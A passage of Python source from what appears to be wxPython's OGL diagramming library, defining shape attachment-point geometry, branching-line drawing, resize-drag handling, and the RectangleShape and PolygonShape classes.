self._attachmentMode == ATTACHMENT_MODE_BRANCHING:\n pt, stemPt = self.GetBranchingAttachmentPoint(attachment, nth)\n return pt[0], pt[1]\n elif self._attachmentMode == ATTACHMENT_MODE_EDGE:\n if len(self._attachmentPoints):\n for point in self._attachmentPoints:\n if point._id == attachment:\n return self._xpos + point._x, self._ypos + point._y\n return None\n else:\n # Assume is rectangular\n w, h = self.GetBoundingBoxMax()\n top = self._ypos + h / 2.0\n bottom = self._ypos - h / 2.0\n left = self._xpos - w / 2.0\n right = self._xpos + w / 2.0\n\n # wtf?\n line and line.IsEnd(self)\n\n physicalAttachment = self.LogicalToPhysicalAttachment(attachment)\n\n # Simplified code\n if physicalAttachment == 0:\n pt = self.CalcSimpleAttachment((left, bottom), (right, bottom), nth, no_arcs, line)\n elif physicalAttachment == 1:\n pt = self.CalcSimpleAttachment((right, bottom), (right, top), nth, no_arcs, line)\n elif physicalAttachment == 2:\n pt = self.CalcSimpleAttachment((left, top), (right, top), nth, no_arcs, line)\n elif physicalAttachment == 3:\n pt = self.CalcSimpleAttachment((left, bottom), (left, top), nth, no_arcs, line)\n else:\n return None\n return pt[0], pt[1]\n return None\n\n def GetBoundingBoxMax(self):\n \"\"\"Get the maximum bounding box for the shape, taking into account\n external features such as shadows.\n \"\"\"\n ww, hh = self.GetBoundingBoxMin()\n if self._shadowMode != SHADOW_NONE:\n ww += self._shadowOffsetX\n hh += self._shadowOffsetY\n return ww, hh\n\n def GetBoundingBoxMin(self):\n \"\"\"Get the minimum bounding box for the shape, that defines the area\n available for drawing the contents (such as text).\n\n Must be overridden.\n \"\"\"\n return 0, 0\n \n def HasDescendant(self, image):\n \"\"\"TRUE if image is a descendant of this composite.\"\"\"\n if image == self:\n return True\n for child in self._children:\n if child.HasDescendant(image):\n return True\n return False\n\n # Assuming the attachment lies along a vertical or horizontal line,\n # calculate the position on that point.\n def CalcSimpleAttachment(self, pt1, pt2, nth, noArcs, line):\n \"\"\"Assuming the attachment lies along a vertical or horizontal line,\n calculate the position on that point.\n\n Parameters:\n\n pt1\n The first point of the line repesenting the edge of the shape.\n\n pt2\n The second point of the line representing the edge of the shape.\n\n nth\n The position on the edge (for example there may be 6 lines at\n this attachment point, and this may be the 2nd line.\n\n noArcs\n The number of lines at this edge.\n\n line\n The line shape.\n\n Remarks\n\n This function expects the line to be either vertical or horizontal,\n and determines which.\n \"\"\"\n isEnd = line and line.IsEnd(self)\n\n # Are we horizontal or vertical?\n isHorizontal = RoughlyEqual(pt1[1], pt2[1])\n\n if isHorizontal:\n if pt1[0] > pt2[0]:\n firstPoint = pt2\n secondPoint = pt1\n else:\n firstPoint = pt1\n secondPoint = pt2\n\n if self._spaceAttachments:\n if line and line.GetAlignmentType(isEnd) == LINE_ALIGNMENT_TO_NEXT_HANDLE:\n # Align line according to the next handle along\n point = line.GetNextControlPoint(self)\n if point[0] < firstPoint[0]:\n x = firstPoint[0]\n elif point[0] > secondPoint[0]:\n x = secondPoint[0]\n else:\n x = point[0]\n else:\n x = firstPoint[0] + (nth + 1) * (secondPoint[0] - firstPoint[0]) / (noArcs + 1.0)\n else:\n x = (secondPoint[0] - firstPoint[0]) / 2.0 # Midpoint\n y = pt1[1]\n else:\n assert RoughlyEqual(pt1[0], pt2[0])\n\n if pt1[1] > pt2[1]:\n firstPoint = pt2\n secondPoint = pt1\n else:\n firstPoint = pt1\n secondPoint = pt2\n\n if self._spaceAttachments:\n if line and line.GetAlignmentType(isEnd) == LINE_ALIGNMENT_TO_NEXT_HANDLE:\n # Align line according to the next handle along\n point = line.GetNextControlPoint(self)\n if point[1] < firstPoint[1]:\n y = firstPoint[1]\n elif point[1] > secondPoint[1]:\n y = secondPoint[1]\n else:\n y = point[1]\n else:\n y = firstPoint[1] + (nth + 1) * (secondPoint[1] - firstPoint[1]) / (noArcs + 1.0)\n else:\n y = (secondPoint[1] - firstPoint[1]) / 2.0 # Midpoint\n x = pt1[0]\n\n return x, y\n\n # Return the zero-based position in m_lines of line\n def GetLinePosition(self, line):\n \"\"\"Get the zero-based position of line in the list of lines\n for this shape.\n \"\"\"\n try:\n return self._lines.index(line)\n except:\n return 0\n\n\n # |________|\n # | <- root\n # | <- neck\n # shoulder1 ->---------<- shoulder2\n # | | | | |\n # <- branching attachment point N-1\n\n def GetBranchingAttachmentInfo(self, attachment):\n \"\"\"Get information about where branching connections go.\n \n Returns FALSE if there are no lines at this attachment.\n \"\"\"\n physicalAttachment = self.LogicalToPhysicalAttachment(attachment)\n\n # Number of lines at this attachment\n lineCount = self.GetAttachmentLineCount(attachment)\n\n if not lineCount:\n return False\n\n totalBranchLength = self._branchSpacing * (lineCount - 1)\n root = self.GetBranchingAttachmentRoot(attachment)\n\n neck = wx.RealPoint()\n shoulder1 = wx.RealPoint()\n shoulder2 = wx.RealPoint()\n \n # Assume that we have attachment points 0 to 3: top, right, bottom, left\n if physicalAttachment == 0:\n neck[0] = self.GetX()\n neck[1] = root[1] - self._branchNeckLength\n\n shoulder1[0] = root[0] - totalBranchLength / 2.0\n shoulder2[0] = root[0] + totalBranchLength / 2.0\n\n shoulder1[1] = neck[1]\n shoulder2[1] = neck[1]\n elif physicalAttachment == 1:\n neck[0] = root[0] + self._branchNeckLength\n neck[1] = root[1]\n \n shoulder1[0] = neck[0]\n shoulder2[0] = neck[0]\n\n shoulder1[1] = neck[1] - totalBranchLength / 2.0\n shoulder1[1] = neck[1] + totalBranchLength / 2.0\n elif physicalAttachment == 2:\n neck[0] = self.GetX()\n neck[1] = root[1] + self._branchNeckLength\n\n shoulder1[0] = root[0] - totalBranchLength / 2.0\n shoulder2[0] = root[0] + totalBranchLength / 2.0\n\n shoulder1[1] = neck[1]\n shoulder2[1] = neck[1]\n elif physicalAttachment == 3:\n neck[0] = root[0] - self._branchNeckLength\n neck[1] = root[1]\n\n shoulder1[0] = neck[0]\n shoulder2[0] = neck[0]\n\n shoulder1[1] = neck[1] - totalBranchLength / 2.0\n shoulder2[1] = neck[1] + totalBranchLength / 2.0\n else:\n raise \"Unrecognised attachment point in GetBranchingAttachmentInfo\"\n return root, neck, shoulder1, shoulder2\n\n def GetBranchingAttachmentPoint(self, attachment, n):\n physicalAttachment = self.LogicalToPhysicalAttachment(attachment)\n\n root, neck, shoulder1, shoulder2 = self.GetBranchingAttachmentInfo(attachment)\n pt = wx.RealPoint()\n stemPt = wx.RealPoint()\n\n if physicalAttachment == 0:\n pt[1] = neck[1] - self._branchStemLength\n pt[0] = shoulder1[0] + n * self._branchSpacing\n\n stemPt[0] = pt[0]\n stemPt[1] = neck[1]\n elif physicalAttachment == 2:\n pt[1] = neck[1] + self._branchStemLength\n pt[0] = shoulder1[0] + n * self._branchStemLength\n \n stemPt[0] = pt[0]\n stemPt[1] = neck[1]\n elif physicalAttachment == 1:\n pt[0] = neck[0] + self._branchStemLength\n pt[1] = shoulder1[1] + n * self._branchSpacing\n\n stemPt[0] = neck[0]\n stemPt[1] = pt[1]\n elif physicalAttachment == 3:\n pt[0] = neck[0] - self._branchStemLength\n pt[1] = shoulder1[1] + n * self._branchSpacing\n\n stemPt[0] = neck[0]\n stemPt[1] = pt[1]\n else:\n raise \"Unrecognised attachment point in GetBranchingAttachmentPoint\"\n\n return pt, stemPt\n\n def GetAttachmentLineCount(self, attachment):\n \"\"\"Get the number of lines at this attachment position.\"\"\"\n count = 0\n for lineShape in self._lines:\n if lineShape.GetFrom() == self and lineShape.GetAttachmentFrom() == attachment:\n count += 1\n elif lineShape.GetTo() == self and lineShape.GetAttachmentTo() == attachment:\n count += 1\n return count\n \n def GetBranchingAttachmentRoot(self, attachment):\n \"\"\"Get the root point at the given attachment.\"\"\"\n physicalAttachment = self.LogicalToPhysicalAttachment(attachment)\n\n root = wx.RealPoint()\n\n width, height = self.GetBoundingBoxMax()\n\n # Assume that we have attachment points 0 to 3: top, right, bottom, left\n if physicalAttachment == 0:\n root[0] = self.GetX()\n root[1] = self.GetY() - height / 2.0\n elif physicalAttachment == 1:\n root[0] = self.GetX() + width / 2.0\n root[1] = self.GetY()\n elif physicalAttachment == 2:\n root[0] = self.GetX()\n root[1] = self.GetY() + height / 2.0\n elif physicalAttachment == 3:\n root[0] = self.GetX() - width / 2.0\n root[1] = self.GetY()\n else:\n raise \"Unrecognised attachment point in GetBranchingAttachmentRoot\"\n\n return root\n\n # Draw or erase the branches (not the actual arcs though)\n def OnDrawBranchesAttachment(self, dc, attachment, erase = False):\n count = self.GetAttachmentLineCount(attachment)\n if count == 0:\n return\n\n root, neck, shoulder1, shoulder2 = self.GetBranchingAttachmentInfo(attachment)\n\n if erase:\n dc.SetPen(wx.WHITE_PEN)\n dc.SetBrush(wx.WHITE_BRUSH)\n else:\n dc.SetPen(wx.BLACK_PEN)\n dc.SetBrush(wx.BLACK_BRUSH)\n\n # Draw neck\n dc.DrawLine(root[0], root[1], neck[0], neck[1])\n\n if count > 1:\n # Draw shoulder-to-shoulder line\n dc.DrawLine(shoulder1[0], shoulder1[1], shoulder2[0], shoulder2[1])\n # Draw all the little branches\n for i in range(count):\n pt, stemPt = self.GetBranchingAttachmentPoint(attachment, i)\n dc.DrawLine(stemPt[0], stemPt[1], pt[0], pt[1])\n\n if self.GetBranchStyle() & BRANCHING_ATTACHMENT_BLOB and count > 1:\n blobSize = 6.0\n dc.DrawEllipse(stemPt[0] - blobSize / 2.0, stemPt[1] - blobSize / 2.0, blobSize, blobSize)\n\n def OnDrawBranches(self, dc, erase = False):\n if self._attachmentMode != ATTACHMENT_MODE_BRANCHING:\n return\n for i in range(self.GetNumberOfAttachments()):\n self.OnDrawBranchesAttachment(dc, i, erase)\n\n def GetAttachmentPositionEdge(self, attachment, nth = 0, no_arcs = 1, line = None):\n \"\"\" Only get the attachment position at the _edge_ of the shape,\n ignoring branching mode. This is used e.g. to indicate the edge of\n interest, not the point on the attachment branch.\n \"\"\"\n oldMode = self._attachmentMode\n\n # Calculate as if to edge, not branch\n if self._attachmentMode == ATTACHMENT_MODE_BRANCHING:\n self._attachmentMode = ATTACHMENT_MODE_EDGE\n res = self.GetAttachmentPosition(attachment, nth, no_arcs, line)\n self._attachmentMode = oldMode\n\n return res\n\n def PhysicalToLogicalAttachment(self, physicalAttachment):\n \"\"\" Rotate the standard attachment point from physical\n (0 is always North) to logical (0 -> 1 if rotated by 90 degrees)\n \"\"\"\n if RoughlyEqual(self.GetRotation(), 0):\n i = physicalAttachment\n elif RoughlyEqual(self.GetRotation(), math.pi / 2.0):\n i = physicalAttachment - 1\n elif RoughlyEqual(self.GetRotation(), math.pi):\n i = physicalAttachment - 2\n elif RoughlyEqual(self.GetRotation(), 3 * math.pi / 2.0):\n i = physicalAttachment - 3\n else:\n # Can't handle -- assume the same\n return physicalAttachment\n\n if i < 0:\n i += 4\n\n return i\n\n def LogicalToPhysicalAttachment(self, logicalAttachment):\n \"\"\"Rotate the standard attachment point from logical\n to physical (0 is always North).\n \"\"\"\n if RoughlyEqual(self.GetRotation(), 0):\n i = logicalAttachment\n elif RoughlyEqual(self.GetRotation(), math.pi / 2.0):\n i = logicalAttachment + 1\n elif RoughlyEqual(self.GetRotation(), math.pi):\n i = logicalAttachment + 2\n elif RoughlyEqual(self.GetRotation(), 3 * math.pi / 2.0):\n i = logicalAttachment + 3\n else:\n return logicalAttachment\n\n if i > 3:\n i -= 4\n\n return i\n\n def Rotate(self, x, y, theta):\n \"\"\"Rotate about the given axis by the given amount in radians.\"\"\"\n self._rotation = theta\n if self._rotation < 0:\n self._rotation += 2 * math.pi\n elif self._rotation > 2 * math.pi:\n self._rotation -= 2 * math.pi\n\n def GetBackgroundPen(self):\n \"\"\"Return pen of the right colour for the background.\"\"\"\n if self.GetCanvas():\n return wx.Pen(self.GetCanvas().GetBackgroundColour(), 1, wx.SOLID)\n return WhiteBackgroundPen\n\n def GetBackgroundBrush(self):\n \"\"\"Return brush of the right colour for the background.\"\"\"\n if self.GetCanvas():\n return wx.Brush(self.GetCanvas().GetBackgroundColour(), wx.SOLID)\n return WhiteBackgroundBrush\n\n def GetX(self):\n \"\"\"Get the x position of the centre of the shape.\"\"\"\n return self._xpos\n\n def GetY(self):\n \"\"\"Get the y position of the centre of the shape.\"\"\"\n return self._ypos\n\n def SetX(self, x):\n \"\"\"Set the x position of the shape.\"\"\"\n self._xpos = x\n\n def SetY(self, y):\n \"\"\"Set the y position of the shape.\"\"\"\n self._ypos = y\n\n def GetParent(self):\n \"\"\"Return the parent of this shape, if it is part of a composite.\"\"\"\n return self._parent\n\n def SetParent(self, p):\n self._parent = p\n\n def GetChildren(self):\n \"\"\"Return the list of children for this shape.\"\"\"\n return self._children\n\n def GetDrawHandles(self):\n \"\"\"Return the list of drawhandles.\"\"\"\n return self._drawHandles\n\n def GetEventHandler(self):\n \"\"\"Return the event handler for this shape.\"\"\"\n return self._eventHandler\n\n def SetEventHandler(self, handler):\n \"\"\"Set the event handler for this shape.\"\"\"\n self._eventHandler = handler\n\n def Recompute(self):\n \"\"\"Recomputes any constraints associated with the shape.\n\n Normally applicable to CompositeShapes only, but harmless for\n other classes of Shape.\n \"\"\"\n return True\n\n def IsHighlighted(self):\n \"\"\"TRUE if the shape is highlighted. Shape highlighting is unimplemented.\"\"\"\n return self._highlighted\n\n def GetSensitivityFilter(self):\n \"\"\"Return the sensitivity filter, a bitlist of values.\n\n See Shape.SetSensitivityFilter.\n \"\"\"\n return self._sensitivity\n\n def SetFixedSize(self, x, y):\n \"\"\"Set the shape to be fixed size.\"\"\"\n self._fixedWidth = x\n self._fixedHeight = y\n\n def GetFixedSize(self):\n \"\"\"Return flags indicating whether the shape is of fixed size in\n either direction.\n \"\"\"\n return self._fixedWidth, self._fixedHeight\n\n def GetFixedWidth(self):\n \"\"\"TRUE if the shape cannot be resized in the horizontal plane.\"\"\"\n return self._fixedWidth\n\n def GetFixedHeight(self):\n \"\"\"TRUE if the shape cannot be resized in the vertical plane.\"\"\"\n return self._fixedHeight\n \n def SetSpaceAttachments(self, sp):\n \"\"\"Indicate whether lines should be spaced out evenly at the point\n they touch the node (sp = True), or whether they should join at a single\n point (sp = False).\n \"\"\"\n self._spaceAttachments = sp\n\n def GetSpaceAttachments(self):\n \"\"\"Return whether lines should be spaced out evenly at the point they\n touch the node (True), or whether they should join at a single point\n (False).\n \"\"\"\n return self._spaceAttachments\n\n def SetCentreResize(self, cr):\n \"\"\"Specify whether the shape is to be resized from the centre (the\n centre stands still) or from the corner or side being dragged (the\n other corner or side stands still).\n \"\"\"\n self._centreResize = cr\n\n def GetCentreResize(self):\n \"\"\"TRUE if the shape is to be resized from the centre (the centre stands\n still), or FALSE if from the corner or side being dragged (the other\n corner or side stands still)\n \"\"\"\n return self._centreResize\n\n def SetMaintainAspectRatio(self, ar):\n \"\"\"Set whether a shape that resizes should not change the aspect ratio\n (width and height should be in the original proportion).\n \"\"\"\n self._maintainAspectRatio = ar\n\n def GetMaintainAspectRatio(self):\n \"\"\"TRUE if shape keeps aspect ratio during resize.\"\"\"\n return self._maintainAspectRatio\n\n def GetLines(self):\n \"\"\"Return the list of lines connected to this shape.\"\"\"\n return self._lines\n\n def SetDisableLabel(self, flag):\n \"\"\"Set flag to TRUE to stop the default region being shown.\"\"\"\n self._disableLabel = flag\n\n def GetDisableLabel(self):\n \"\"\"TRUE if the default region will not be shown, FALSE otherwise.\"\"\"\n return self._disableLabel\n\n def SetAttachmentMode(self, mode):\n \"\"\"Set the attachment mode.\n\n If TRUE, attachment points will be significant when drawing lines to\n and from this shape.\n If FALSE, lines will be drawn as if to the centre of the shape.\n \"\"\"\n self._attachmentMode = mode\n\n def GetAttachmentMode(self):\n \"\"\"Return the attachment mode.\n\n See Shape.SetAttachmentMode.\n \"\"\"\n return self._attachmentMode\n\n def SetId(self, i):\n \"\"\"Set the integer identifier for this shape.\"\"\"\n self._id = i\n\n def GetId(self):\n \"\"\"Return the integer identifier for this shape.\"\"\"\n return self._id\n\n def IsShown(self):\n \"\"\"TRUE if the shape is in a visible state, FALSE otherwise.\n\n Note that this has nothing to do with whether the window is hidden\n or the shape has scrolled off the canvas; it refers to the internal\n visibility flag.\n \"\"\"\n return self._visible\n\n def GetPen(self):\n \"\"\"Return the pen used for drawing the shape's outline.\"\"\"\n return self._pen\n\n def GetBrush(self):\n \"\"\"Return the brush used for filling the shape.\"\"\"\n return self._brush\n\n def GetNumberOfTextRegions(self):\n \"\"\"Return the number of text regions for this shape.\"\"\"\n return len(self._regions)\n\n def GetRegions(self):\n \"\"\"Return the list of ShapeRegions.\"\"\"\n return self._regions\n\n # Control points ('handles') redirect control to the actual shape, to\n # make it easier to override sizing behaviour.\n def OnSizingDragLeft(self, pt, draw, x, y, keys = 0, attachment = 0):\n bound_x, bound_y = self.GetBoundingBoxMin()\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n dc.SetLogicalFunction(OGLRBLF)\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n if self.GetCentreResize():\n # Maintain the same centre point\n new_width = 2.0 * abs(x - self.GetX())\n new_height = 2.0 * abs(y - self.GetY())\n\n # Constrain sizing according to what control point you're dragging\n if pt._type == CONTROL_POINT_HORIZONTAL:\n if self.GetMaintainAspectRatio():\n new_height = bound_y * (new_width / bound_x)\n else:\n new_height = bound_y\n elif pt._type == CONTROL_POINT_VERTICAL:\n if self.GetMaintainAspectRatio():\n new_width = bound_x * (new_height / bound_y)\n else:\n new_width = bound_x\n elif pt._type == CONTROL_POINT_DIAGONAL and (keys & KEY_SHIFT):\n new_height = bound_y * (new_width / bound_x)\n\n if self.GetFixedWidth():\n new_width = bound_x\n\n if self.GetFixedHeight():\n new_height = bound_y\n\n pt._controlPointDragEndWidth = new_width\n pt._controlPointDragEndHeight = new_height\n\n self.GetEventHandler().OnDrawOutline(dc, self.GetX(), self.GetY(), new_width, new_height)\n else:\n # Don't maintain the same centre point\n newX1 = min(pt._controlPointDragStartX, x)\n newY1 = min(pt._controlPointDragStartY, y)\n newX2 = max(pt._controlPointDragStartX, x)\n newY2 = max(pt._controlPointDragStartY, y)\n if pt._type == CONTROL_POINT_HORIZONTAL:\n newY1 = pt._controlPointDragStartY\n newY2 = newY1 + pt._controlPointDragStartHeight\n elif pt._type == CONTROL_POINT_VERTICAL:\n newX1 = pt._controlPointDragStartX\n newX2 = newX1 + pt._controlPointDragStartWidth\n elif pt._type == CONTROL_POINT_DIAGONAL and (keys & KEY_SHIFT or self.GetMaintainAspectRatio()):\n newH = (newX2 - newX1) * (float(pt._controlPointDragStartHeight) / pt._controlPointDragStartWidth)\n if self.GetY() > pt._controlPointDragStartY:\n newY2 = newY1 + newH\n else:\n newY1 = newY2 - newH\n\n newWidth = float(newX2 - newX1)\n newHeight = float(newY2 - newY1)\n\n if pt._type == CONTROL_POINT_VERTICAL and self.GetMaintainAspectRatio():\n newWidth = bound_x * (newHeight / bound_y)\n\n if pt._type == CONTROL_POINT_HORIZONTAL and self.GetMaintainAspectRatio():\n newHeight = bound_y * (newWidth / bound_x)\n\n pt._controlPointDragPosX = newX1 + newWidth / 2.0\n pt._controlPointDragPosY = newY1 + newHeight / 2.0\n if self.GetFixedWidth():\n newWidth = bound_x\n\n if self.GetFixedHeight():\n newHeight = bound_y\n\n pt._controlPointDragEndWidth = newWidth\n pt._controlPointDragEndHeight = newHeight\n self.GetEventHandler().OnDrawOutline(dc, pt._controlPointDragPosX, pt._controlPointDragPosY, newWidth, newHeight)\n\n def OnSizingBeginDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n self._canvas.CaptureMouse()\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n dc.SetLogicalFunction(OGLRBLF)\n\n bound_x, bound_y = self.GetBoundingBoxMin()\n self.GetEventHandler().OnBeginSize(bound_x, bound_y)\n\n # Choose the 'opposite corner' of the object as the stationary\n # point in case this is non-centring resizing.\n if pt.GetX() < self.GetX():\n pt._controlPointDragStartX = self.GetX() + bound_x / 2.0\n else:\n pt._controlPointDragStartX = self.GetX() - bound_x / 2.0\n\n if pt.GetY() < self.GetY():\n pt._controlPointDragStartY = self.GetY() + bound_y / 2.0\n else:\n pt._controlPointDragStartY = self.GetY() - bound_y / 2.0\n\n if pt._type == CONTROL_POINT_HORIZONTAL:\n pt._controlPointDragStartY = self.GetY() - bound_y / 2.0\n elif pt._type == CONTROL_POINT_VERTICAL:\n pt._controlPointDragStartX = self.GetX() - bound_x / 2.0\n\n # We may require the old width and height\n pt._controlPointDragStartWidth = bound_x\n pt._controlPointDragStartHeight = bound_y\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n if self.GetCentreResize():\n new_width = 2.0 * abs(x - self.GetX())\n new_height = 2.0 * abs(y - self.GetY())\n\n # Constrain sizing according to what control point you're dragging\n if pt._type == CONTROL_POINT_HORIZONTAL:\n if self.GetMaintainAspectRatio():\n new_height = bound_y * (new_width / bound_x)\n else:\n new_height = bound_y\n elif pt._type == CONTROL_POINT_VERTICAL:\n if self.GetMaintainAspectRatio():\n new_width = bound_x * (new_height / bound_y)\n else:\n new_width = bound_x\n elif pt._type == CONTROL_POINT_DIAGONAL and (keys & KEY_SHIFT):\n new_height = bound_y * (new_width / bound_x)\n\n if self.GetFixedWidth():\n new_width = bound_x\n\n if self.GetFixedHeight():\n new_height = bound_y\n\n pt._controlPointDragEndWidth = new_width\n pt._controlPointDragEndHeight = new_height\n self.GetEventHandler().OnDrawOutline(dc, self.GetX(), self.GetY(), new_width, new_height)\n else:\n # Don't maintain the same centre point\n newX1 = min(pt._controlPointDragStartX, x)\n newY1 = min(pt._controlPointDragStartY, y)\n newX2 = max(pt._controlPointDragStartX, x)\n newY2 = max(pt._controlPointDragStartY, y)\n if pt._type == CONTROL_POINT_HORIZONTAL:\n newY1 = pt._controlPointDragStartY\n newY2 = newY1 + pt._controlPointDragStartHeight\n elif pt._type == CONTROL_POINT_VERTICAL:\n newX1 = pt._controlPointDragStartX\n newX2 = newX1 + pt._controlPointDragStartWidth\n elif pt._type == CONTROL_POINT_DIAGONAL and (keys & KEY_SHIFT or self.GetMaintainAspectRatio()):\n newH = (newX2 - newX1) * (float(pt._controlPointDragStartHeight) / pt._controlPointDragStartWidth)\n if pt.GetY() > pt._controlPointDragStartY:\n newY2 = newY1 + newH\n else:\n newY1 = newY2 - newH\n\n newWidth = float(newX2 - newX1)\n newHeight = float(newY2 - newY1)\n\n if pt._type == CONTROL_POINT_VERTICAL and self.GetMaintainAspectRatio():\n newWidth = bound_x * (newHeight / bound_y)\n\n if pt._type == CONTROL_POINT_HORIZONTAL and self.GetMaintainAspectRatio():\n newHeight = bound_y * (newWidth / bound_x)\n\n pt._controlPointDragPosX = newX1 + newWidth / 2.0\n pt._controlPointDragPosY = newY1 + newHeight / 2.0\n if self.GetFixedWidth():\n newWidth = bound_x\n\n if self.GetFixedHeight():\n newHeight = bound_y\n\n pt._controlPointDragEndWidth = newWidth\n pt._controlPointDragEndHeight = newHeight\n self.GetEventHandler().OnDrawOutline(dc, pt._controlPointDragPosX, pt._controlPointDragPosY, newWidth, newHeight)\n \n def OnSizingEndDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n if self._canvas.HasCapture():\n self._canvas.ReleaseMouse()\n dc.SetLogicalFunction(wx.COPY)\n self.Recompute()\n self.ResetControlPoints()\n\n self.Erase(dc)\n\n self.SetSize(pt._controlPointDragEndWidth, pt._controlPointDragEndHeight)\n\n # The next operation could destroy this control point (it does for\n # label objects, via formatting the text), so save all values we're\n # going to use, or we'll be accessing garbage.\n\n #return\n\n if self.GetCentreResize():\n self.Move(dc, self.GetX(), self.GetY())\n else:\n self.Move(dc, pt._controlPointDragPosX, pt._controlPointDragPosY)\n\n # Recursively redraw links if we have a composite\n if len(self.GetChildren()):\n self.DrawLinks(dc, -1, True)\n\n width, height = self.GetBoundingBoxMax()\n self.GetEventHandler().OnEndSize(width, height)\n\n if not self._canvas.GetQuickEditMode() and pt._eraseObject:\n self._canvas.Redraw(dc)\n\n\n \nclass RectangleShape(Shape):\n \"\"\"\n The wxRectangleShape has rounded or square corners.\n\n Derived from:\n Shape\n \"\"\"\n def __init__(self, w = 0.0, h = 0.0):\n Shape.__init__(self)\n self._width = w\n self._height = h\n self._cornerRadius = 0.0\n self.SetDefaultRegionSize()\n\n def OnDraw(self, dc):\n x1 = self._xpos - self._width / 2.0\n y1 = self._ypos - self._height / 2.0\n\n if self._shadowMode != SHADOW_NONE:\n if self._shadowBrush:\n dc.SetBrush(self._shadowBrush)\n dc.SetPen(TransparentPen)\n\n if self._cornerRadius:\n dc.DrawRoundedRectangle(x1 + self._shadowOffsetX, y1 + self._shadowOffsetY, self._width, self._height, self._cornerRadius)\n else:\n dc.DrawRectangle(x1 + self._shadowOffsetX, y1 + self._shadowOffsetY, self._width, self._height)\n\n if self._pen:\n if self._pen.GetWidth() == 0:\n dc.SetPen(TransparentPen)\n else:\n dc.SetPen(self._pen)\n if self._brush:\n dc.SetBrush(self._brush)\n\n if self._cornerRadius:\n dc.DrawRoundedRectangle(x1, y1, self._width, self._height, self._cornerRadius)\n else:\n dc.DrawRectangle(x1, y1, self._width, self._height)\n\n def GetBoundingBoxMin(self):\n return self._width, self._height\n\n def SetSize(self, x, y, recursive = False):\n self.SetAttachmentSize(x, y)\n self._width = max(x, 1)\n self._height = max(y, 1)\n self.SetDefaultRegionSize()\n\n def GetCornerRadius(self):\n \"\"\"Get the radius of the rectangle's rounded corners.\"\"\"\n return self._cornerRadius\n \n def SetCornerRadius(self, rad):\n \"\"\"Set the radius of the rectangle's rounded corners.\n\n If the radius is zero, a non-rounded rectangle will be drawn.\n If the radius is negative, the value is the proportion of the smaller\n dimension of the rectangle.\n \"\"\"\n self._cornerRadius = rad\n\n # Assume (x1, y1) is centre of box (most generally, line end at box)\n def GetPerimeterPoint(self, x1, y1, x2, y2):\n bound_x, bound_y = self.GetBoundingBoxMax()\n return FindEndForBox(bound_x, bound_y, self._xpos, self._ypos, x2, y2)\n\n def GetWidth(self):\n return self._width\n\n def GetHeight(self):\n return self._height\n\n def SetWidth(self, w):\n self._width = w\n\n def SetHeight(self, h):\n self._height = h\n\n\n \nclass PolygonShape(Shape):\n \"\"\"A PolygonShape's shape is defined by a number of points passed to\n the object's constructor. It can be used to create new shapes such as\n diamonds and triangles.\n \"\"\"\n def __init__(self):\n Shape.__init__(self)\n \n self._points = None\n self._originalPoints = None\n\n def Create(self, the_points = None):\n \"\"\"Takes a list of wx.RealPoints or tuples; each point is an offset\n from the centre.\n \"\"\"\n self.ClearPoints()\n\n if not the_points:\n self._originalPoints = []\n self._points = []\n else:\n self._originalPoints = the_points\n\n # Duplicate the list of points\n self._points = []\n for point in the_points:\n new_point = wx.Point(point[0], point[1])\n self._points.append(new_point)\n self.CalculateBoundingBox()\n self._originalWidth = self._boundWidth\n self._originalHeight = self._boundHeight\n self.SetDefaultRegionSize()\n\n def ClearPoints(self):\n self._points = []\n self._originalPoints = []\n\n # Width and height. Centre of object is centre of box\n def GetBoundingBoxMin(self):\n return self._boundWidth, self._boundHeight\n\n def GetPoints(self):\n \"\"\"Return the internal list of polygon vertices.\"\"\"\n return self._points\n\n def GetOriginalPoints(self):\n return self._originalPoints\n\n def GetOriginalWidth(self):\n return self._originalWidth\n\n def GetOriginalHeight(self):\n return self._originalHeight\n\n def SetOriginalWidth(self, w):\n self._originalWidth = w\n\n def SetOriginalHeight(self, h):\n self._originalHeight = h\n \n def CalculateBoundingBox(self):\n # Calculate bounding box at construction (and presumably resize) time\n left = 10000\n right = -10000\n top = 10000\n bottom = -10000\n\n for point in self._points:\n if point[0] < left:\n left = point[0]\n if point[0] > right:\n right = point[0]\n\n if point[1] < top:\n top = point[1]\n if point[1] > bottom:\n bottom = point[1]\n\n self._boundWidth = right - left\n self._boundHeight = bottom - top\n\n def CalculatePolygonCentre(self):\n \"\"\"Recalculates the centre of the polygon, and\n readjusts the point offsets accordingly.\n Necessary since the centre of the polygon\n is expected to be the real centre of the bounding\n box.\n \"\"\"\n left = 10000\n right = -10000\n top = 10000\n bottom = -10000\n\n for point in self._points:\n if point[0] < left:\n left = point[0]\n if point[0] > right:\n right = point[0]\n\n if point[1] < top:\n top = point[1]\n if point[1] > bottom:\n bottom = point[1]\n\n bwidth = right - left\n bheight = bottom - top\n\n newCentreX = left + bwidth / 2.0\n newCentreY = top + bheight / 2.0\n\n for i in range(len(self._points)):\n self._points[i] = self._points[i][0] - newCentreX, self._points[i][1] - newCentreY\n self._xpos += newCentreX\n self._ypos += newCentreY\n\n def HitTest(self, x, y):\n # Imagine four lines radiating from this point. If all of these lines\n # hit the polygon, we're inside it, otherwise we're not. Obviously\n # we'd need more radiating lines to be sure of correct results for\n # very strange (concave) shapes.\n endPointsX = [x, x + 1000, x, x - 1000]\n endPointsY = [y - 1000, y, y + 1000, y]\n\n xpoints = []\n ypoints = []\n\n for point in self._points:\n xpoints.append(point[0] + self._xpos)\n ypoints.append(point[1] + self._ypos)\n\n # We assume it's inside the polygon UNLESS one or more\n # lines don't hit the outline.\n isContained = True\n\n for i in range(4):\n if not PolylineHitTest(xpoints, ypoints, x, y, endPointsX[i], endPointsY[i]):\n isContained = False\n\n if not isContained:\n return False\n\n nearest_attachment = 0\n\n # If a hit, check the attachment points within the object\n nearest = 999999\n\n for i in range(self.GetNumberOfAttachments()):\n e = 